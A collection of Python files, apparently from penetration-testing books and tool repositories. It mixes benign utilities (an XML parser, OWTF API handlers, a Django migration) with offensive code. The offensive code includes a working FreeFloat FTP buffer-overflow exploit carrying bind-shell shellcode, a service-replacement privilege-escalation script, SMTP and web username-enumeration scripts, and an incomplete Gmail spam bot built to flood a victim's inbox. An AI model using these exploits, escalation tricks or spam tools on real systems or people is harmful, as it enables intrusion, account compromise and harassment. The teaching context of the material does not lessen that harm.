#! /usr/bin/python3.5 import xml.etree.ElementTree as ET import sys class XML_parser(): def __init__(self,xml): self.xml=xml def parse(self,parse_type="doc"): #root=ET.fromstring(country_data_as_string) if parse_type =="doc": root = ET.parse(self.xml).getroot() else: root=ET.fromstring(self.xml) tag = root.tag print("Root tag is :"+str(tag)) attributes = root.attrib print("Root attributes are :") for k,v in attributes.items(): print("\t"+str(k) +" : "+str(v)) print("\nPrinting Node Details without knowing subtags :") for employee in root: #.findall(tag) # access all elements in node print("\n-----------------------------") for element in employee: ele_name = element.tag ele_value = employee.find(element.tag).text print("\t\t"+ele_name, ' : ', ele_value) print("\n\nPrinting Node Details specifying subtags :") for employee in root.findall("employee"): print("\n-----------------------------") print("\t\tName :" +str(employee.find("name").text)) print("\t\tSalary :" +str(employee.find("salary").text)) print("\t\tAge :" +str(employee.find("age").text)) print("\t\tManager Id :" +str(employee.find("manager_id").text)) print("\t\tDOJ :" +str(employee.find("doj").text)) obj=XML_parser(sys.argv[1]) obj.parse() xml="""<employees department="IT" location="Dubai"> <employee id="1"> <name>Emp1</name> <age>32</age> <salary>30000</salary> <doj>06/06/2016</doj> <manager_id>33</manager_id> </employee> <employee id="2"> <name>Emp2</name> <age>28</age> <salary>27000</salary> <doj>18/02/2017</doj> <manager_id>33</manager_id> </employee> </employees>""" #obj=XML_parser(xml) #obj.parse("string")
28.271186
67
0.615295
owtf
""" owtf.api.handlers.plugin ~~~~~~~~~~~~~~~~~~~~~~~~ """ import collections from owtf.api.handlers.base import APIRequestHandler from owtf.constants import MAPPINGS from owtf.lib import exceptions from owtf.lib.exceptions import APIError from owtf.managers.plugin import get_all_plugin_dicts, get_types_for_plugin_group from owtf.managers.poutput import delete_all_poutput, get_all_poutputs, update_poutput from owtf.models.test_group import TestGroup from owtf.api.handlers.jwtauth import jwtauth __all__ = ["PluginNameOutput", "PluginDataHandler", "PluginOutputHandler"] @jwtauth class PluginDataHandler(APIRequestHandler): """Get completed plugin output data from the DB.""" SUPPORTED_METHODS = ["GET"] # TODO: Creation of user plugins def get(self, plugin_group=None, plugin_type=None, plugin_code=None): """Get plugin data based on user filter data. **Example request**: .. sourcecode:: http GET /api/v1/plugins/?group=web&group=network HTTP/1.1 Accept: application/json, text/javascript, */* X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Encoding: gzip Vary: Accept-Encoding Content-Type: application/json { "status": "success", "data": [ { "file": "[email protected]", "code": "OWTF-CM-006", "group": "web", "attr": null, "title": "Old Backup And Unreferenced Files", "key": "external@OWTF-CM-006", "descrip": "Plugin to assist manual testing", "min_time": null, "type": "external", "name": "Old_Backup_and_Unreferenced_Files" }, { "file": "[email protected]", "code": "OWTF-CM-006", "group": "web", "attr": null, "title": "Old Backup And Unreferenced Files", "key": "passive@OWTF-CM-006", "descrip": "Google Hacking for juicy files", "min_time": null, "type": "passive", "name": "Old_Backup_and_Unreferenced_Files" } ] } """ try: filter_data = dict(self.request.arguments) if not plugin_group: # Check if plugin_group is present in url self.success(get_all_plugin_dicts(self.session, filter_data)) if plugin_group and (not plugin_type) and (not plugin_code): filter_data.update({"group": plugin_group}) self.success(get_all_plugin_dicts(self.session, filter_data)) if plugin_group and plugin_type and (not plugin_code): if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in selected plugin group") filter_data.update({"type": plugin_type, "group": plugin_group}) self.success(get_all_plugin_dicts(self.session, filter_data)) if plugin_group and plugin_type and plugin_code: if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in selected plugin group") filter_data.update({"type": plugin_type, "group": plugin_group, "code": plugin_code}) # This combination will be unique, so have to return a dict results = get_all_plugin_dicts(self.session, filter_data) if results: self.success(results[0]) else: raise APIError(500, "Cannot get any plugin dict") except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target provided.") @jwtauth class PluginNameOutput(APIRequestHandler): """Get the scan results for a target.""" SUPPORTED_METHODS = ["GET"] def get(self, target_id=None): """Retrieve scan results for a target. **Example request**: .. sourcecode:: http GET /api/v1/targets/2/poutput/names/ HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: application/json; charset=UTF-8 { "status": "success", "data": { "OWTF-AT-004": { "data": [ { "status": "Successful", "owtf_rank": -1, "plugin_group": "web", "start_time": "01/04/2018-14:05", "target_id": 2, "run_time": "0s, 1ms", "user_rank": -1, "plugin_key": "external@OWTF-AT-004", "id": 5, "plugin_code": "OWTF-AT-004", "user_notes": null, "output_path": null, "end_time": "01/04/2018-14:05", "error": null, "plugin_type": "external" } ], "details": { "priority": 99, "code": "OWTF-AT-004", "group": "web", "mappings": { "OWASP_V3": [ "OWASP-AT-004", "Brute Force Testing" ], "OWASP_V4": [ "OTG-AUTHN-003", "Testing for Weak lock out mechanism" ], "CWE": [ "CWE-16", "Configuration - Brute force" ], "NIST": [ "IA-6", "Authenticator Feedback - Brute force" ], "OWASP_TOP_10": [ "A5", "Security Misconfiguration - Brute force" ] }, "hint": "Brute Force", "url": "https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)", "descrip": "Testing for Brute Force" } }, } } """ try: filter_data = dict(self.request.arguments) results = get_all_poutputs(self.session, filter_data, target_id=int(target_id), inc_output=False) # Get test groups as well, for names and info links groups = {} for group in TestGroup.get_all(self.session): group["mappings"] = MAPPINGS.get(group["code"], {}) groups[group["code"]] = group dict_to_return = {} for item in results: if item["plugin_code"] in dict_to_return: dict_to_return[item["plugin_code"]]["data"].append(item) else: ini_list = [] ini_list.append(item) dict_to_return[item["plugin_code"]] = {} dict_to_return[item["plugin_code"]]["data"] = ini_list dict_to_return[item["plugin_code"]]["details"] = groups[item["plugin_code"]] dict_to_return = collections.OrderedDict(sorted(dict_to_return.items())) if results: self.success(dict_to_return) else: raise APIError(500, "Cannot fetch plugin outputs") except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target provided") except exceptions.InvalidParameterType: raise APIError(400, "Invalid parameter type provided") @jwtauth class PluginOutputHandler(APIRequestHandler): """Filter plugin output data.""" SUPPORTED_METHODS = ["GET", "POST", "PUT", "PATCH", "DELETE"] def get(self, target_id=None, plugin_group=None, plugin_type=None, plugin_code=None): """Get the plugin output based on query filter params. **Example request**: .. sourcecode:: http GET /api/v1/targets/2/poutput/?plugin_code=OWTF-AJ-001 HTTP/1.1 X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": [ { "status": "Successful", "owtf_rank": -1, "plugin_group": "web", "start_time": "01/04/2018-14:06", "target_id": 2, "run_time": "0s, 1ms", "user_rank": -1, "plugin_key": "external@OWTF-AJ-001", "id": 27, "plugin_code": "OWTF-AJ-001", "user_notes": null, "output_path": null, "end_time": "01/04/2018-14:06", "error": null, "output": "Intended to show helpful info in the future", "plugin_type": "external" } ] } """ try: filter_data = dict(self.request.arguments) if plugin_group and (not plugin_type): filter_data.update({"plugin_group": plugin_group}) if plugin_type and plugin_group and (not plugin_code): if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in selected plugin group") filter_data.update({"plugin_type": plugin_type, "plugin_group": plugin_group}) if plugin_type and plugin_group and plugin_code: if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in selected plugin group") filter_data.update( {"plugin_type": plugin_type, "plugin_group": plugin_group, "plugin_code": plugin_code} ) results = get_all_poutputs(self.session, filter_data, target_id=int(target_id), inc_output=True) if results: self.success(results) else: raise APIError(500, "Cannot fetch plugin outputs") except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target reference provided") except exceptions.InvalidParameterType: raise APIError(400, "Invalid parameter type provided") def post(self, target_url): raise APIError(405) def put(self): raise APIError(405) def patch(self, target_id=None, plugin_group=None, plugin_type=None, plugin_code=None): """Modify plugin output data like ranking, severity, notes, etc. **Example request**: .. sourcecode:: http PATCH /api/v1/targets/2/poutput/web/external/OWTF-CM-008 HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest user_rank=0 **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Length: 0 Content-Type: application/json { "status": "success", "data": null } """ try: if (not target_id) or (not plugin_group) or (not plugin_type) or (not plugin_code): raise APIError(400, "Missing requirement arguments") else: patch_data = dict(self.request.arguments) update_poutput(self.session, plugin_group, plugin_type, plugin_code, patch_data, target_id=target_id) self.success(None) except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target reference provided") except exceptions.InvalidParameterType: raise APIError(400, "Invalid parameter type provided") def delete(self, target_id=None, plugin_group=None, plugin_type=None, plugin_code=None): """Delete a plugin output. **Example request**: .. sourcecode:: http DELETE /api/v1/targets/2/poutput/web/external/OWTF-AJ-001 HTTP/1.1 X-Requested-With: XMLHttpRequest **Example response**: .. sourcecode:: http HTTP/1.1 200 OK Content-Type: application/json { "status": "success", "data": null } """ try: filter_data = dict(self.request.arguments) if not plugin_group: # First check if plugin_group is present in url delete_all_poutput(self.session, filter_data, target_id=int(target_id)) if plugin_group and (not plugin_type): filter_data.update({"plugin_group": plugin_group}) delete_all_poutput(self.session, filter_data, target_id=int(target_id)) if plugin_type and plugin_group and (not plugin_code): if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in the selected plugin group") filter_data.update({"plugin_type": plugin_type, "plugin_group": plugin_group}) delete_all_poutput(self.session, filter_data, target_id=int(target_id)) if plugin_type and plugin_group and plugin_code: if plugin_type not in get_types_for_plugin_group(self.session, plugin_group): raise APIError(422, "Plugin type not found in the selected plugin group") filter_data.update( {"plugin_type": plugin_type, "plugin_group": plugin_group, "plugin_code": plugin_code} ) delete_all_poutput(self.session, filter_data, target_id=int(target_id)) self.success(None) except exceptions.InvalidTargetReference: raise APIError(400, "Invalid target reference provided") except exceptions.InvalidParameterType: raise APIError(400, "Invalid parameter type provided")
40.126316
117
0.491905
Python-Penetration-Testing-for-Developers
#basic username check import sys import urllib import urllib2 if len(sys.argv) !=2: print "usage: %s username" % (sys.argv[0]) sys.exit(0) url = "http://www.vulnerablesite.com/forgotpassword.html" username = str(sys.argv[1]) data = urllib.urlencode({"username":username}) response = urllib2.urlopen(url,data).read() UnknownStr="Username not found" if(response.find(UnknownStr)<0): print "Username exists!"
23.588235
57
0.724221
cybersecurity-penetration-testing
import screenshot import requests portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489] IP = '127.0.0.1' http = 'http://' https = 'https://' def testAndSave(protocol, portNumber): url = protocol + IP + ':' + str(portNumber) try: r = requests.get(url,timeout=1) if r.status_code == 200: print 'Found site on ' + url s = screenshot.Screenshot() image = s.get_image(url) image.save(str(portNumber) + '.png') except: pass for port in portList: testAndSave(http, port) testAndSave(https, port)
23.222222
85
0.565084
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-09 05:40 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0011_auto_20160108_0702'), ] operations = [ migrations.RemoveField( model_name='nmapscan', name='slug', ), migrations.AddField( model_name='nmapscan', name='uuid', field=models.CharField(default='', max_length=128), preserve_default=False, ), ]
22.076923
63
0.564274
Mastering-Machine-Learning-for-Penetration-Testing
import numpy from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense from keras.layers import Dropout from keras.layers import Flatten from keras.layers.convolutional import Conv2D from keras.layers.convolutional import MaxPooling2D from keras.utils import np_utils from keras import backend backend.set_image_dim_ordering('th') model = Sequential() model.add(Conv2D(32, (5, 5), input_shape=(1, 28, 28), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dense(num_classes, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam',metrics=['accuracy'])
34
85
0.784741
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalFileExtHandling") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
27.909091
75
0.782334
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Cross Site Flashing Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalCrossSiteFlashing") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
29.909091
75
0.787611
Python-Penetration-Testing-for-Developers
import sys f = open("ciphers.txt", "r") MSGS = f.readlines() def strxor(a, b): # xor two strings of different lengths if len(a) > len(b): return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)]) else: return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])]) def encrypt(key, msg): c = strxor(key, msg) return c key = "315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764".decode("hex") k3y = "32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904".decode("hex") msg = "We can factor the number 15 with quantum computers. We can also factor the number 15 with a dog trained to bark three times" ciphertexts = encrypt(msg, key) answer = encrypt(ciphertexts, k3y) print answer print answer.encode("hex")
45.913043
268
0.765306
Penetration-Testing-Study-Notes
#!/usr/bin/python import socket import sys import subprocess if len(sys.argv) != 2: print "Usage: smtprecon.py <ip address>" sys.exit(0) #SMTPSCAN = "nmap -vv -sV -Pn -p 25,465,587 --script=smtp-vuln* %s" % (sys.argv[1]) #results = subprocess.check_output(SMTPSCAN, shell=True) #f = open("results/smtpnmapresults.txt", "a") #f.write(results) #f.close print "INFO: Trying SMTP Enum on " + sys.argv[1] names = open('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/namelist.txt', 'r') for name in names: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((sys.argv[1],25)) banner=s.recv(1024) s.send('HELO [email protected] \r\n') result= s.recv(1024) s.send('VRFY ' + name.strip() + '\r\n') result=s.recv(1024) if ("not implemented" in result) or ("disallowed" in result): sys.exit("INFO: VRFY Command not implemented on " + sys.argv[1]) if (("250" in result) or ("252" in result) and ("Cannot VRFY" not in result)): print "[*] SMTP VRFY Account found on " + sys.argv[1] + ": " + name.strip() s.close()
31
94
0.650414
Python-Penetration-Testing-for-Developers
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((host,port)) s.settimeout(5) data, addr = s.recvfrom(1024) print "recevied from ",addr print "obtained ", data s.close()
21.9
52
0.714912
cybersecurity-penetration-testing
#!/usr/bin/Python #Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows #Author: Craig Freyman (@cd1zz) #Date: July 19, 2011 #Tested on Windows XP SP3 English #Part of FreeFloat pwn week #Vendor Notified: 7-18-2011 (no response) #Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php import socket,sys,time,struct if len(sys.argv) < 2: print "[-]Usage: %s <target addr> <command>" % sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2] #./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20" #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") #7C874413 FFE4 JMP ESP kernel32.dll ret = struct.pack('<L', 0x7C874413) padding = "\x90" * 150 crash = "\x41" * 246 + ret + padding + shellcode print "\ [*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\ [*] Author: Craig Freyman (@cd1zz)\n\ [*] Connecting to "+target s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,21)) except: print "[-] Connection to "+target+" failed!" sys.exit(0) print "[*] Sending " + `len(crash)` + " " + command +" byte crash..." s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS \r\n") s.recv(1024) s.send(command +" " + crash + "\r\n") time.sleep(4)
38.0875
104
0.680742
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Modified version of: # http://code.activestate.com/recipes/551780/ # Good to read # https://attack.mitre.org/wiki/Privilege_Escalation # https://msdn.microsoft.com/en-us/library/windows/desktop/ms685150(v=vs.85).aspx # Download Vulnerable Software # https://www.exploit-db.com/exploits/24872/ # Pywin is needed to be installed first # https://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ import servicemanager import win32serviceutil import win32service import win32api import os import ctypes # Part 2 - Here (in service class) we define the action to do when we got a service manager signal class Service(win32serviceutil.ServiceFramework): _svc_name_ = 'ScsiAccess' # specify the service name and the display name - note that the name scsiacces is similar tothe orginal one for photodex vulnerable software _svc_display_name_ = 'ScsiAccess' def __init__(self, *args): # Initialize ServiceFramework and we define in functions style what to do when we got a service manager signal win32serviceutil.ServiceFramework.__init__(self, *args) def sleep(self, sec): # if the service manager singal was pause - then we sleep for an amount of seconds win32api.Sleep(sec*1000, True) def SvcDoRun(self): # if the signal was start - then:- self.ReportServiceStatus(win32service.SERVICE_START_PENDING) # tell the Service Manager that we are planing to run the serivce via reporting back a start pending status try: self.ReportServiceStatus(win32service.SERVICE_RUNNING) #tell the Service Manager that we are currently running up the service then call the start #function (start) if any exception happened, we will call the stop function (SvcStop) self.start() except Exception, x: self.SvcStop() def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) #tell the Service Manager that we are planing to stop the serivce self.stop() self.ReportServiceStatus(win32service.SERVICE_STOPPED) #tell the Service Manager that we are currently stopping the service def start(self): self.runflag=True # mark a service status flag as True and we will Wait in while loop for receiving service stop signal from the service manager ''' This little code is to double check if we got an admin priv, after replacing our malicious service, thanks to IsUserAnAdmin function https://msdn.microsoft.com/en-us/library/windows/desktop/bb776463(v=vs.85).aspx f = open('C:/Users/nonadmin/Desktop/priv.txt','w') if ctypes.windll.shell32.IsUserAnAdmin() == 0: f.write('[-] We are NOT admin! ') else: f.write('[+] We are admin :)') f.close() ''' while self.runflag: # Wait for service stop signal self.sleep(10) def stop(self): # now within the stop function we mark the service status flag as Flase to break the while loop in the start function self.runflag=False # Part 1 - initializing : in this section we:- if __name__ == '__main__': servicemanager.Initialize() # define a listener for win servicemanager servicemanager.PrepareToHostSingle(Service) servicemanager.StartServiceCtrlDispatcher() win32serviceutil.HandleCommandLine(Service) #pass a Service class handler, so whenver we got a signal from the servicemanager we will pass it to the Service class
39.032609
176
0.680065
Python-Penetration-Testing-Cookbook
#!/usr/bin/python print "a"*32 + "\x8b\x84\x04\x08"
10
33
0.592593
cybersecurity-penetration-testing
headers = { 'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0' } request = urllib2.Request("http://packtpub.com/", headers=headers) url = urllib2.urlopen(request) response = u.read()
31.714286
94
0.697368
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: April 2015 Name: dirtester.py Purpose: To identify unlinked and hidden files or directories within web applications Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import urllib2, argparse, sys def host_test(filename, host): file = "headrequests.log" bufsize = 0 e = open(file, 'a', bufsize) print("[*] Reading file %s") % (file) with open(filename) as f: locations = f.readlines() for item in locations: target = host + "/" + item try: request = urllib2.Request(target) request.get_method = lambda : 'GET' response = urllib2.urlopen(request) except: print("[-] %s is invalid") % (str(target.rstrip('\n'))) response = None if response != None: print("[+] %s is valid") % (str(target.rstrip('\n'))) details = response.info() e.write(str(details)) e.close() def main(): # If script is executed at the CLI usage = '''usage: %(prog)s [-t http://127.0.0.1] [-f wordlist] -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-t", action="store", dest="target", default=None, help="Host to test") parser.add_argument("-f", action="store", dest="filename", default=None, help="Filename of directories or pages to test for") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.42b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) if (args.target == None) or (args.filename == None): parser.print_help() sys.exit(1) # Set Constructors verbose = args.verbose # Verbosity level filename = args.filename # The data to use for the dictionary attack target = args.target # Password or hash to test against default is admin host_test(filename, target) if __name__ == '__main__': main()
44.060976
151
0.691391
Python-Penetration-Testing-for-Developers
#!/usr/bin/python import string input = raw_input("Please enter the value you would like to Atbash Ciper: ") transform = string.maketrans( "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba") final = string.translate(input, transform) print final
24.833333
76
0.81877
PenetrationTestingScripts
# coding: utf-8 __author__="wilson" import os import sys sys.path.append("../") from plugins.ftp import * from plugins.smb import * from plugins.mysql import * from plugins.mssql import * from plugins.ldapd import * from plugins.mongodb import * from plugins.redisexp import * from plugins.rsync import * from plugins.snmp import * from plugins.ssh import * from plugins.ssltest import * from plugins.vnc import * from plugins.web import * def ftpburp(c): t = ftp_burp(c) return t def smbburp(c): t = smb_burp(c) return t def mysqlburp(c): t = mysql_burp(c) return t def mssqlburp(c): t = mssql_burp(c) return t def ldapburp(c): t = ldap_burp(c) return t def mongodbburp(c): t = mongodb_burp(c) return t def redisburp(c): t = redis_burp(c) return t def rsyncburp(c): t = rsync_burp(c) return t def snmpburp(c): t = snmp_burp(c) return t def sshburp(c): t = ssh_burp(c) return t def sslburp(c): t = ssl_burp(c) return t def vncburp(c): t = vnc_burp(c) return t def webburp(c): t = web_burp(c) return t #类 class pluginFactory(): def __init__(self,c): self.pluginList=[] self.config=c self.pluginCategory= { "ftp":ftpburp, "smb":smbburp, "mysql":mysqlburp, "mssql":mssqlburp, "ldap":ldapburp, "mongodb":mongodbburp, "redis":redisburp, "rsync":rsyncburp, "snmp":snmpburp, "ssh":sshburp, "ssl":sslburp, "vnc":vncburp, "web":webburp, } self.get_pluginList() def get_pluginList(self): for name in self.pluginCategory: #实例化每个类 result_t=self.pluginCategory.get(name)(self.config) self.pluginList.append(result_t)
14.833333
54
0.671623
Ethical-Hacking-Scripts
import smtplib, time, threading, random, sys, os class SpamBot: def __init__(self, email, reciever, subject, msg): self.emaillist = email self.reciever = reciever self.subject = subject self.msg = msg self.clients = [] print("\n[+] Preparing Spam Bots.....") def login_bots(self): for i in self.emaillist: self.attempt_login(i[0], i[1]) def attempt_login(self, email, password, spamerror=False): client = smtplib.SMTP("smtp.gmail.com",587) client.ehlo() client.starttls() client.login(email, password) self.clients.append([client, email, password]) if spamerror: bot = threading.Thread(target=self.spam, args=(client, email, password)) bot.start() else: print(f"[+] Bot {email} is ready to fire!") def begin_spam(self): print("\n[+] Readying Bots....") for i in self.clients: bot = threading.Thread(target=self.spam, args=(i[0],i[1], i[2])) bot.start() print(f"[+] Bots are spamming email {self.reciever}!") def gen_packet(self, num): return f"From: {random.randint(1000000000,99999999999)} <[email protected]>\nSubject: {self.subject}{num}\n\n{self.msg}""" def spam(self, email, fr_email, password): spam_msg = 1 while True: try: email.sendmail(from_addr=fr_email,to_addrs=self.reciever, msg=self.gen_packet(spam_msg)) spam_msg += 1 time.sleep(0.5) except Exception as e: print(f"[+] Error with Bot: {fr_email}: {e}") email.quit() while True: try: print(f"[+] {fr_email} is attempting to reconnect in 30 seconds...") time.sleep(30) email = smtplib.SMTP("smtp.gmail.com",587) email.ehlo() email.starttls() email.login(fr_email, password) print(f"[+] Bot {fr_email} has reconnected and is now spamming!") break except Exception as e: print(f"[+] Error with reconnecting Bot {fr_email} to SMTP Servers: {e}") class BotAdder: def logo(self): return """ _________ .__ .____________ ____ _______ / _____/ ________ __|__| __| _/ _____/__________ _____ _____ ___________ ___ _/_ | \ _ \ \_____ \ / ____/ | \ |/ __ |\_____ \\\____ \__ \ / \ / \_/ __ \_ __ \ \ \/ /| | / /_\ \ / < <_| | | / / /_/ |/ \ |_> > __ \| Y Y \ Y Y \ ___/| | \/ \ / | | \ \_/ \\ /_______ /\__ |____/|__\____ /_______ / __(____ /__|_| /__|_| /\___ >__| \_/ |___| /\ \_____ / \/ |__| \/ \/|__| \/ \/ \/ \/ \/ \/ Gmail SpamBot Script By DrSquid """ def __init__(self): self.bots = [] def add_bots(self): print(self.logo()) inputs = True subject = input("[+] What is the subject for the email?: ") msg = input("[+] Enter the msg to be spammed: ") spam_email = input("[+] Enter the victims email: ") while inputs: efficientornot = input("[+] Would you like to use a txt file for the bot emails?(yes/no): ") if efficientornot.lower() == "yes": emailsfile = input("[+] Enter txt file with the bots: ") botfile = open(emailsfile,"r") content = botfile.read().split("\n") for i in content: try: self.bots.append([i.strip("\n").split()[0], i.strip("\n").split()[1]]) except: print("[+] There was an error with adding the Bot to the botnet.") botfile.close() inputs = False else: while inputs: if sys.platform == "win32": os.system("cls") else: 